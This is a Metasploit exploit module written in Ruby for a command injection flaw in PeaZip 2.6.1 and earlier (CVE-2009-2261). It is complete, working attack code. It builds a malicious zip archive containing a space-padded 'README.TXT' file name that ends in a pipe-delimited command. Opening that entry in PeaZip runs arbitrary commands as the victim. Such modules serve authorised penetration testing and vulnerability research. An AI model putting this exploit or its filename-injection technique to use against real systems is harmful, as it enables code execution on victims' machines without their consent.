PeaZip <= 2.6.1 Zip Processing Command Injection

`##  
# $Id: peazip_command_injection.rb 8451 2010-02-11 06:00:12Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PeaZip <= 2.6.1 Zip Processing Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in PeaZip. All  
versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with  
version 2.6.1 on Windows.  
  
In order for the command to be executed, an attacker must convince someone to  
open a specially crafted zip file with PeaZip, and access the specially file via  
double-clicking it. By doing so, an attacker can execute arbitrary commands  
as the victim user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nine:Situations:Group::pyrokinesis',  
'jduck'  
],  
'Version' => '$Revision: 8451 $',  
'References' =>  
[  
[ 'CVE', '2009-2261' ],  
[ 'OSVDB', '54966' ],  
[ 'URL', 'http://peazip.sourceforge.net/' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/8881' ]  
],  
'Platform' => ['unix', 'win', 'linux'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},  
'Targets' =>  
[  
['Automatic', { }],  
],  
'DisclosureDate' => 'Jun 05 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),  
], self.class)  
  
end  
  
  
def exploit  
  
# NOTE: using a command line containing / or \ will result in the command  
# being easily visible to the victim  
cmd = datastore['CMD']  
  
fname = "README.TXT"  
rest = "\"|#{cmd}|.txt"  
fname << " " * (255 - fname.length - rest.length)  
fname << rest  
  
content = rand_text_alphanumeric(rand(1024))  
  
zip = Rex::Zip::Archive.new  
zip.add_file(fname, content)  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(zip.pack)  
end  
  
end  
`